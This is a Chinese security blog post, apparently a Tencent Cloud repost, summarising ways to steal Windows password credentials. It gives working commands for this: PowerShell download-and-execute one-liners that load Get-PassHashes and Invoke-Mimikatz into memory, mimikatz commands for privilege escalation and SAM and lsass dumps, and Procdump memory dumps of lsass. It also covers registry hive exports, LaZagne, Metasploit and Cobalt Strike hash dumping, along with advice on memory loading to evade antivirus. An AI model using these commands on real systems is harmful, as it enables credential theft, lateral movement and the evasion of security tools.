前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >获取Windows系统密码凭证总结

获取Windows系统密码凭证总结

作者头像
网络安全自修室
发布2024-03-06 17:33:49
2650
发布2024-03-06 17:33:49
举报
1

免责声明

本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试加入交流群讨论或留言私信,如有侵权请联系小编处理。

2

内容速览

Windows 加密简介

在Windows系统中,通常会使用哈希(hash)转化我们存入的密码,哈希是将目标文本转换成具有相同长度的,不可逆的字符串,具体到应用层还有很多不同的分支

Windows早期版本大多使用LAN Manager(LM)方法进行哈希

但LM哈希密码最大长度为14,当前Windows主要采用NT LAN Manager(NTLM)方法哈希。

Windows系统下hash密码格式:

用户名称:RID:LM-HASH值:NT-HASH值

Windows 哈希过程

  1. 用户输入密码1. 系统收到密码后将用户输入的密码计算成NTLM Hash1. 与sam数据库C:\Windows\System32\config%SystemRoot%\system32\config\sam)中该用户的哈希比对
  2. 匹配则登陆成功,不匹配则登陆失败本地认证中用来处理用户输入密码的进程为lsass.exe,密码会在这个进程中明文保存,供该进程将密码计算成NTLM Hash与sam进行比对。

根据上述过程,我们可以看出,最直接的获取Windows凭证方法,无非就是想办法从lsass.exe进程中或从sam数据库中获取。

Windows 凭证获取

使用powershell脚本

powershell脚本:[1] https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1[2]

powershell IEX(new-object net.webclient).downloadstring('脚本地址');Get-PassHashes

Pwddump7

和上述脚本功能类似,Pwddump7下载地址(需要魔法)[3]: http://www.tarasco.org/security/pwdump_7/index.html 下载好后直接执行即可自动获取哈希。

使用猕猴桃(mimikatz)

相比上述两种方法,猕猴桃作为一个长期不断维护更新的开源软件,功能会强大很多猕猴桃下载地址[4]: https://github.com/gentilkiwi/mimikatz/releases[5]根据目标系统不同,我们可以使用64位(x64)或32位(win32)版本

我当前系统为64位Windows10,所以我这里使用的是x64版本的猕猴桃,如下图:

常用命令

我们输入::即可查看猕猴桃的官方使用介绍,其中我们最常用的命令如下

命令作用

privilege::debug请求调试特权

token::elevate提升权限(这条命令会让我们冒充系统最高权限用户SYSTEM)

lsadump::sam或lsadump::secrets或lsadump::cache获取用户的密码凭证

sekurlsa::logonpasswords查看所有可用的凭证

猕猴桃中大部分报错提示都很可能是权限不足导致的,需要管理员权限的才能操作,如下报错

代码语言:javascript
复制
mimikatz # privilege::debug
ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061

mimikatz # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

本地非交互式凭证获取

mimikatz.exe "log 凭证信息.txt" "token::elevate" "lsadump::sam" "exit"``mimikatz.exe "log 本地登录凭证.txt" "sekurlsa::logonpasswords" "exit"

远程加载

远程脚本下载地址[6]: https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1[7]使用方法:

首先我们需要使用一个服务器(VPS)将脚本挂载到公网1. 在cmd中使用如下命令,将脚本加载到内存中直接执行

powershell IEX (New-Object Net.WebClient).DownloadString('脚本下载地址');Invoke-Mimikatz -DumpCreds

Procdump+猕猴桃

因为猕猴桃功能强大而且单一,主要是针对密码凭证的,所以几乎所有的杀软都会将其进行拦截。这里我们常用Procdump配合猕猴桃来绕过杀软的检测。

Procdump下载地址[8]: https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump[9]

Procdump是微软官方推出的一款工具,

主要用于桌面应用开发人员对应用的一些检测处理,我们使用Procdump实现的主要功能是将正在运行的程序生成静态文件

方便我们进行分析操作,我在上述介绍中提过,处理我们密码的程序是lsass.exe,而这里我们也主要会将它进行静态的文件,.然后再将此文件从目标电脑中导出至本地。

32位系统导出命令: procdump.exe -accepteula -ma lsass.exe lsass.dmp64位系统导出命令: procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp

将导出的静态lsass文件移动到本机中(最好将此文件和mimikatz.exe放在同一个文件夹,如果不是同一个文件夹,需要在猕猴桃中cd到lsass所在的文件夹中)

代码语言:javascript
复制
# 载入静态的lsass文件
sekurlsa::minidump lsass.dmp
# 读取所有密码凭证信息(载入文件夹后使用sekurlsa::相关命令即可获取载入文件中保存的秘钥信息)
sekurlsa::logonPasswords

注册表+猕猴桃

我们的凭证信息除了会保存在lsass程序中,还可能会保存在一些注册表中,我们同样可以将注册表保存后下载到本地进行分析, system(本地数据库): reg save HKLM\SYSTEM system.hivsam(安全帐户管理器): reg save HKLM\SAM sam.hivsecurity(哈希计算、验证): reg save HKLM\SECURITY security.hiv

我们主要可能会用到上述三种注册表 使用猕猴桃即可对注册表进行解密: lsadump::sam /system:system.hiv /sam:sam.hiv

除此之外,我们还可以使用python的一个脚本secretsdump来对目标解密

LaZagne

这是一个使用Python写的密码凭证获取工具,LaZagne能获取到的密码范围很广泛,我当前主要会用到Windows模块,如果你想获取其他方向的密码也可以使用此模块!LaZagne下载地址[10]: https://github.com/AlessandroZ/LaZagne[11]lazagne.exe windows

msf

这里我们的msf已经连接到目标主机,并且是已管理员身份运行,首先我们先输入getsystem进行提权

Windows中获取哈希值的主要有以下几种模块,这里我们选择使用use post/windows/gather/hashdump(其中smart_hashdump可以开启自动提取)

设定其set session 指定目标目标后,我们即可运行获取目标秘钥。

这里需要注意设置使用的是session,不是sessions

msf中的猕猴桃

因为在Windows凭证方面,猕猴桃非常强大,msf也内置了猕猴桃模块,我们只需要在进入sessions后输入load kiwi即可加载猕猴桃模块。

我们可以使用help kiwi查看msf中的猕猴桃使用方法

其中最常用的有creds_all:获取所有收集到的凭证

lsa_dump_sam:获取用户凭证,kiwi_cmd:这个命令后面可以跟着猕猴桃原生命令进行执行!

CS(cobaltstrike)

hashdump: 相当于猕猴桃的lsadump::sam``logonpasswords: 相当于猕猴桃的sekurlsa::logonpasswords

总结

工具

特点

文件落地

mimikatz

功能强大

文件落地(可以内存加载)

powershell

使用方便

内存加载

Pwddump7

和powershell脚本类似

内存加载

Procdump

微软官方工具

无落地

注册表

系统内置

无落地

LaZagne

功能强大

文件落地

msf

功能强大

文件落地

CS

功能强大

文件落地

注: 一般内存加载相比于文件落地能更好的绕开杀软,无落地文件的话,可以完全避开杀软

参考资料

[11]powershell脚本::*https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1*[13]

[12]Pwddump7下载地址(需要魔法):*http://www.tarasco.org/security/pwdump\_7/index.html*[14]

[13]猕猴桃下载地址:*https://github.com/gentilkiwi/mimikatz/releases*[15]

[14]远程脚本下载地址:*https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1*[16]

[15]Procdump下载地址:*https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump*[17]

[16]LaZagne下载地址:*https://github.com/AlessandroZ/LaZagne*[18]

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2024-03-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 网络安全自修室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Windows 加密简介
  • Windows 哈希过程
  • Windows 凭证获取
    • 使用powershell脚本
      • Pwddump7
        • 使用猕猴桃(mimikatz)
          • 常用命令
          • 本地非交互式凭证获取
          • 远程加载
        • Procdump+猕猴桃
          • 注册表+猕猴桃
            • LaZagne
              • msf
                • msf中的猕猴桃
              • CS(cobaltstrike)
                • 参考资料
            • 总结
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档